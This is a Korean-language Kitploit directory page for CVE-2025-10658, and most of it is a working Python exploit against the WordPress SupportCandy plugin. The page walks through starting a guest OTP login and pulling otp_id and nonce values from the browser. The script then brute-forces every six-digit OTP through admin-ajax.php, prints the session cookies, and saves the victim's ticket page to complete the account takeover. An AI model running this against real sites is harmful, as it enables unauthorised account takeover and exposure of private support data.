Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-10658 — CVE-2025-10658에 대한 Python 익스플로잇 스크립트: WordPress SupportCandy 게스트 로그인에서 6자리 OTP를 무차별 대입하여 admin-ajax.php 엔드포인트를 통해 완전한 계정 탈취를 수행합니다. | Kitploit
도구/GitHubGitHub/jfriedli/cve-2025-10658
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

CVE-2025-10658에 대한 Python 익스플로잇 스크립트: WordPress SupportCandy 게스트 로그인에서 6자리 OTP를 무차별 대입하여 admin-ajax.php 엔드포인트를 통해 완전한 계정 탈취를 수행합니다.

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Exploit: SupportCandy 게스트 OTP 무차별 대입 → 계정 탈취

1) OTP 로그인 흐름 시작 (브라우저)

  • 열기:
root@kitploit:~
/support/
  • 게스트/OTP 로그인 선택
  • 대상 이메일 입력 (예: [email protected])
  • 제출

2) OTP 폼에서 필요한 값 추출

DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login 응답에서:

root@kitploit:~
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

저장:

  • OTP_ID
  • NONCE

3) OTP 무차별 대입

root@kitploit:~
#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # extracted otp_id
NONCE  = "f2349a6ac9"        # extracted nonce
START  = 0
END    = 999999
RATE   = 25                  # requests per second

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP cracked: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # Access authenticated page
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] Tried {n} codes...")

        time.sleep(interval)

    print("[!] Exhausted range")

if __name__ == "__main__":
    main()

실행:

root@kitploit:~
python sc_guest_bruteforce_linear.py

4) 계정 탈취 완료

  • 브라우저 폼에 크랙된 6자리 OTP 입력
  • 제출
도구 다운로드